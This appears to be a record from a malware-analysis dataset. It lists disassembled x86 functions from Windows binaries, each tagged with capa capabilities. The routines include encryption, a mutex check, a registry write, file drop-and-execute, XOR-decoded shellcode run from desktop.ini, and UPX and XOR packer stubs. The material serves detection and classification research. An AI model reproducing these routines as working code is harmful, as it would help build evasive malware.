joyce8/EMBER2024-capa huggingface dataset:
Function at 0xc22d4
Capabilities:
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
mov eax, edx
mov dword [ebp - 0xc], eax
push ebx
push esi
mov eax, dword [eax + 4]
push edi
lea ebx, [eax + 1]
test bl, 0xf
je 0xc22f3
and ebx, 0xfffffff0
add ebx, 0x10
mov edi, dword [ebp + 8]
xor esi, esi
mov dword [ebp - 0x10], eax
lea eax, [ebx + 0x74]
push eax
push esi
mov dword [edi + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov dword [ebp - 8], eax
mov dword [edi], eax
test eax, eax
je 0xc23f8
add eax, 0x74
mov dword [ebp - 4], eax
lea eax, [ebp + 8]
push eax
push esi
push esi
push dword [0xcb290]
call dword [sym.imp.ADVAPI32.dll_CryptDuplicateHash]
test eax, eax
je 0xc23e1
mov eax, dword [ebp - 0xc]
push dword [eax + 4]
push dword [eax]
push dword [ebp - 4]
call dword [sym.imp.ntdll.dll_memcpy]
add esp, 0xc
lea eax, [ebp - 0x10]
push ebx
push eax
push dword [ebp - 4]
xor eax, eax
push esi
inc eax
push eax
push dword [ebp + 8]
push dword [0xcb28c]
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
je 0xc23d4
mov ebx, dword [ebp - 8]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x7c]
mov dword [ebp - 0xc], 0x6c
push eax
push 0x40
push 1
push dword [0xcb288]
push dword [0xcb28c]
call dword [sym.imp.ADVAPI32.dll_CryptExportKey]
test eax, eax
je 0xc23d4
lea ecx, [ebp - 0x11]
mov al, byte [ecx]
mov byte [ebx], al
inc ebx
dec ecx
lea eax, [ebp - 0x70]
cmp ecx, eax
jae 0xc23a0
push 0
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0x14
push eax
mov eax, dword [ebp - 8]
add eax, 0x60
push eax
push 2
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
test eax, eax
push 1
pop eax
cmovne esi, eax
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
test esi, esi
jne 0xc23f8
push dword [edi]
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [edi], ebx
mov dword [edi + 4], ebx
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xc2401
Capabilities:
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, edx
push esi
mov dword [ebp - 8], eax
push edi
mov eax, dword [eax + 4]
xor edi, edi
lea esi, [eax - 0x74]
cmp eax, 0x74
jae 0xc2421
xor eax, eax
jmp 0xc24f6
mov ecx, esi
mov edx, esi
and ecx, 0xfffffff0
mov eax, esi
add ecx, 0x10
and dl, 0xf
cmovne eax, ecx
cmp esi, eax
jne 0xc241a
push ebx
mov ebx, dword [ebp + 8]
push esi
push 0
mov dword [ebx + 4], esi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov dword [ebx], eax
test eax, eax
je 0xc24f3
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 0
push 0
push dword [0xcb290]
call dword [sym.imp.ADVAPI32.dll_CryptDuplicateHash]
test eax, eax
je 0xc24d9
mov eax, dword [ebp - 8]
push esi
add eax, 0x74
push eax
push dword [ebx]
call dword [sym.imp.ntdll.dll_memcpy]
add esp, 0xc
lea esi, [ebx + 4]
xor eax, eax
inc eax
push esi
push dword [ebx]
push 0
push eax
push dword [ebp - 4]
push dword [0xcb28c]
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0xc24ca
push 0
push 0
push dword [0xcb288]
push 0x60
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptVerifySignatureW]
test eax, eax
push 1
pop eax
cmovne edi, eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
test edi, edi
jne 0xc24f3
jmp 0xc24dc
lea esi, [ebx + 4]
push dword [ebx]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
and dword [ebx], 0
and dword [esi], 0
mov eax, edi
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0xc7f9d
Capabilities:
Create thread

Disassembly:
push esi
push edi
push 0x14
push 8
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov esi, eax
test esi, esi
je 0xc8025
mov edx, dword [edi + 8]
mov ecx, dword [edi + 4]
push ebx
call fcn.000c1d8f
xor ebx, ebx
mov dword [esi + 8], eax
test eax, eax
je 0xc8015
mov ecx, dword [eax + 0x3c]
mov ecx, dword [ecx + eax + 0x28]
add eax, ecx
mov dword [esi + 0xc], eax
je 0xc8006
push ebx
push ebx
push esi
push 0xc7f73
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0x10], eax
test eax, eax
je 0xc8006
mov eax, dword [edi]
mov dword [esi + 4], eax
mov eax, dword [0xcb274]
mov dword [esi], eax
mov dword [0xcb274], esi
jmp 0xc8024
push 0x8000
push ebx
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop ebx
pop edi
pop esi
ret
Function at 0xc8197
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44c
push ebx
push esi
mov eax, ecx
push edi
xor edi, edi
mov dword [ebp - 0xc], eax
push 0x104
mov dword [eax], edi
mov esi, edi
add eax, 4
mov dword [ebp - 8], esi
mov dword [ebp - 0x14], eax
mov ebx, edi
mov dword [ebp - 4], edi
mov dword [ebp - 0x10], ebx
mov dword [eax], edi
lea eax, [ebp - 0x44c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0x44c]
call fcn.000c1857
push edi
push 2
mov dword [ebp - 0x18], eax
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0xc823e
lea eax, [ebp - 0x244]
mov dword [ebp - 0x244], 0x22c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0xc8237
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x244]
push eax
call fcn.000c8122
test eax, eax
je 0xc8234
lea eax, [ebp - 0x244]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0xc820e
mov esi, dword [ebp - 8]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, esi
test esi, esi
je 0xc825d
lea eax, [edi + 4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, dword [edi]
inc ebx
add ebx, eax
test edi, edi
jne 0xc8244
mov dword [ebp - 4], ebx
mov ebx, dword [ebp - 0x10]
mov eax, dword [ebp - 4]
add eax, eax
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov edi, eax
test edi, edi
jne 0xc82be
mov esi, dword [ebp - 0xc]
xor eax, eax
cmp dword [esi], eax
pop edi
pop esi
setne al
pop ebx
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x18]
lea eax, [esi + 4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0xc82bc
lea eax, [esi + 4]
push eax
lea eax, [edi + ebx*2]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [esi + 4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add ebx, eax
push 0x2c
pop eax
mov word [edi + ebx*2], ax
inc ebx
mov esi, dword [esi]
test esi, esi
jne 0xc8289
push dword [ebp - 0x14]
mov edx, edi
push ebx
call fcn.000c2546
mov esi, dword [ebp - 0xc]
pop ecx
pop ecx
push edi
push 0
mov dword [esi], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0xc827b
Function at 0xc8642
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x188
push ebx
push esi
push edi
xor ebx, ebx
push 0x18
push ebx
push 0xcb284
mov edi, ebx
call dword [sym.imp.ntdll.dll_memset]
lea eax, [ebp - 4]
mov ecx, 0xc1364
push eax
push 0x6a263c53
push 0xc
pop edx
call fcn.000c1749
push dword [0xcb27c]
lea eax, [ebp - 0x88]
push dword [ebp - 4]
push 0x40
push eax
call dword [sym.imp.ntdll.dll__snwprintf]
mov ecx, dword [ebp - 4]
add esp, 0x24
call fcn.000c1846
lea eax, [ebp - 0x88]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov esi, eax
test esi, esi
je 0xc8803
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0xc86c9
cmp eax, 0x80
jne 0xc8803
lea eax, [ebp - 4]
mov ecx, 0xc1258
push eax
push 0x6a263c53
push 0xc
pop edx
call fcn.000c1749
push dword [0xcb27c]
lea eax, [ebp - 0x188]
push dword [ebp - 4]
push 0x40
push eax
call dword [sym.imp.ntdll.dll__snwprintf]
mov ecx, dword [ebp - 4]
call fcn.000c1846
lea eax, [ebp - 4]
mov ecx, 0xc1264
push eax
push 0x6a263c53
push 0xc
pop edx
call fcn.000c1749
push dword [0xcb27c]
lea eax, [ebp - 0x108]
push dword [ebp - 4]
push 0x40
push eax
call dword [sym.imp.ntdll.dll__snwprintf]
mov ecx, dword [ebp - 4]
add esp, 0x30
call fcn.000c1846
lea eax, [ebp - 0x108]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0xcb2a0], eax
test eax, eax
je 0xc8803
lea eax, [ebp - 0x188]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0xcb29c], eax
test eax, eax
je 0xc8796
push ebx
push 0xffffffffffffffff
push dword [0xcb2a0]
push eax
call dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
test eax, eax
je 0xc8788
cmp eax, 0x80
jne 0xc8796
push dword [0xcb29c]
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov edi, eax
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0xc8803
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x10
mov ecx, 0x3e8
mov dword [0xcb280], 1
push ecx
push ecx
push ebx
add eax, ecx
push 0xc835b
mov dword [0xcb278], eax
lea eax, [ebp - 8]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueueTimer]
test eax, eax
je 0xc87f7
push 0xffffffffffffffff
push dword [0xcb29c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0xffffffffffffffff
push dword [ebp - 8]
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteTimerQueueTimer]
push dword [0xcb29c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [0xcb288]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push dword [0xcb28c]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push dword [0xcb290]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push ebx
push dword [0xcb284]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov esi, dword [0xcb274]
jmp 0xc8847
push ebx
push 0xb
push dword [esi + 8]
call dword [esi + 0xc]
mov esi, dword [esi]
test esi, esi
jne 0xc883c
or ecx, 0xffffffff
call fcn.000c8028
or ecx, 0xffffffff
call fcn.000c97b5
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xc8de9
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
test byte [0xcb2a4], 1
jne 0xc8ea9
push esi
push edi
lea eax, [ebp - 8]
mov edi, 0x73608a49
push eax
push edi
push 4
pop edx
mov ecx, 0xc137c
call fcn.000c1749
push 0xcb7c0
push dword [ebp - 8]
lea eax, [ebp - 0x214]
push 0x104
push eax
call dword [sym.imp.ntdll.dll__snwprintf]
mov esi, eax
add esp, 0x18
test esi, esi
jle 0xc8e9f
lea eax, [ebp - 4]
mov ecx, 0xc13a0
push eax
push edi
push 0x30
pop edx
call fcn.000c1749
pop ecx
pop ecx
xor edi, edi
lea eax, [ebp - 0xc]
push edi
push eax
push edi
push 2
push edi
push edi
push edi
push dword [ebp - 4]
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0xc8e97
lea eax, [esi*2 + 2]
push eax
lea eax, [ebp - 0x214]
push eax
push 1
push edi
push str.viewsystem
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
call fcn.000c1846
mov ecx, dword [ebp - 8]
call fcn.000c1846
pop edi
pop esi
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0xc8eaf
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2ec
push ebx
push esi
push edi
push 0x44
pop esi
push esi
lea eax, [ebp - 0x60]
mov dword [ebp - 8], edx
push 0
push eax
mov edi, ecx
call dword [sym.imp.ntdll.dll_memset]
push 0x10
lea eax, [ebp - 0x18]
push 0
push eax
call dword [sym.imp.ntdll.dll_memset]
add esp, 0x18
mov dword [ebp - 0x60], esi
lea ebx, [esi + 0x3c]
mov dword [ebp - 0x34], ebx
call fcn.000c1713
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, eax
lea ecx, [ebp - 0xe0]
and esi, 0xf
lea edx, [esi + 4]
call fcn.000c2151
xor eax, eax
mov ecx, 0xc1370
mov word [ebp + esi*2 - 0xd8], ax
lea eax, [ebp - 4]
push eax
push 0x73608a49
push 0xc
pop edx
call fcn.000c1749
lea eax, [ebp - 0xe0]
push eax
push str.C:UsersPhoenixAppDataLocalMicrosoftWindows
push dword [ebp - 4]
lea eax, [ebp - 0x2e8]
push 0x104
push eax
call dword [sym.imp.ntdll.dll__snwprintf]
mov ecx, dword [ebp - 4]
add esp, 0x1c
call fcn.000c1846
call fcn.000c1713
push 0
push ebx
push 2
xor ebx, ebx
lea eax, [ebp - 0x2e8]
push ebx
push ebx
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
call fcn.000c1713
cmp esi, 0xffffffff
je 0xc8f97
push ebx
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, ebx
call fcn.000c1713
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x60]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x2e8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0xc8fd1
push pe_nt_image_headers32
inc esi
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, 0x10
jb 0xc8f99
jmp 0xc8fe3
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xc924d
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push edi
push sym.imp.ntdll.dll__snprintf
push 0x770a8de0
push 9
mov ecx, 0xd22e2014
call fcn.000c1b03
mov edx, 0xc11f0
mov ecx, eax
call fcn.000c1a43
add esp, 0xc
mov ecx, 0x8f7ee672
push sym.imp.KERNEL32.dll_ReleaseMutex
push 0x411da018
push 0x48
call fcn.000c1b03
mov edx, 0xc10d0
mov ecx, eax
call fcn.000c1a43
add esp, 0xc
mov ebx, 0x8000000
xor edi, edi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov esi, eax
test esi, esi
je 0xc92d6
push ebx
push edi
push esi
call dword [sym.imp.ntdll.dll_memset]
add esp, 0xc
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
call fcn.000c15b0
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0xc9704
Capabilities:
Create thread

Disassembly:
push esi
push edi
mov edi, ecx
mov eax, dword [edi + 0xc]
add eax, 0x10
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov esi, eax
test esi, esi
je 0xc97b2
mov ecx, dword [edi]
mov dword [esi], ecx
mov ecx, dword [edi + 4]
mov dword [esi + 4], ecx
lea ecx, [esi + 0x10]
mov dword [esi + 8], ecx
mov eax, dword [edi + 0xc]
push ebx
mov dword [esi + 0xc], eax
push dword [edi + 0xc]
push dword [edi + 8]
push ecx
call dword [sym.imp.ntdll.dll_memcpy]
add esp, 0xc
push 0xc
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov edi, eax
xor ebx, ebx
test edi, edi
je 0xc97a2
mov ecx, dword [esi]
push ebx
push ebx
push esi
push 0xc944d
push ebx
push ebx
mov dword [edi + 4], ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [edi + 8], eax
test eax, eax
je 0xc9793
mov eax, dword [0xcbbd4]
mov dword [edi], eax
mov dword [0xcbbd4], edi
jmp 0xc97b1
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop ebx
pop edi
pop esi
ret
Function at 0xedfeb0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x527000]
push edi
or ebp, 0xffffffff
jmp 0xedfed2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0xedfed9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xedfec8
mov eax, 1
add ebx, ebx
jne 0xedfeeb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0xedfefc
jne 0xedff1b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xedff1b
dec eax
add ebx, ebx
jne 0xedff08
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0xedfee0
add ebx, ebx
jne 0xedff17
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0xedff6d
xor ecx, ecx
sub eax, 3
jb 0xedff33
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0xedffa2
sar eax, 1
mov ebp, eax
jmp 0xedff3e
add ebx, ebx
jne 0xedff3e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xedff0c
inc ecx
add ebx, ebx
jne 0xedff4c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xedff0c
add ebx, ebx
jne 0xedff59
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0xedff4e
jne 0xedff6a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0xedff4e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0xedff8c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0xedff7e
jmp 0xedfece
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0xedff8c
add edi, ecx
jmp 0xedfece
pop esi
mov edi, esi
mov ecx, 0xba08
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0xedffaa
cmp byte [edi], 0x26
jne 0xedffaa
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0xedffaf
lea edi, [esi + 0xadb000]
mov eax, dword [edi]
or eax, eax
je 0xee001e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xae2564]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xae26cc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0xedffdc
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xae26d0]
or eax, eax
je 0xee0018
mov dword [ebx], eax
add ebx, 4
jmp 0xedfff9
call dword [esi + 0xae26d8]
mov ebp, dword [esi + 0xae26d4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0xee0052
sub esp, 0xffffff80
jmp 0x5cc208
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
cmp eax, 0
nop
nop
nop
nop
je 0x433072
nop
nop
nop
mov ebx, 0x40de38
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x59f20632
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x433060
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
je 0x4330d2
nop
nop
nop
nop
nop
mov ebx, 0x4304d8
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
mov esi, 0x33125e28
nop
nop
nop
nop
nop
xor dword [eax], esi
add eax, edi
nop
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x408ecc
nop
mov ecx, 0x2c0e1fd0
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..rdata
mov ebx, 0x42e1d0
nop
mov ecx, 0x216455d7
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..reloc
nop
nop
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x42e072
mov ebx, 0x407ef8
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x5e6523b
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x42e060
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x42e0d2
nop
mov ebx, 0x42cd70
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x5ca85522
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219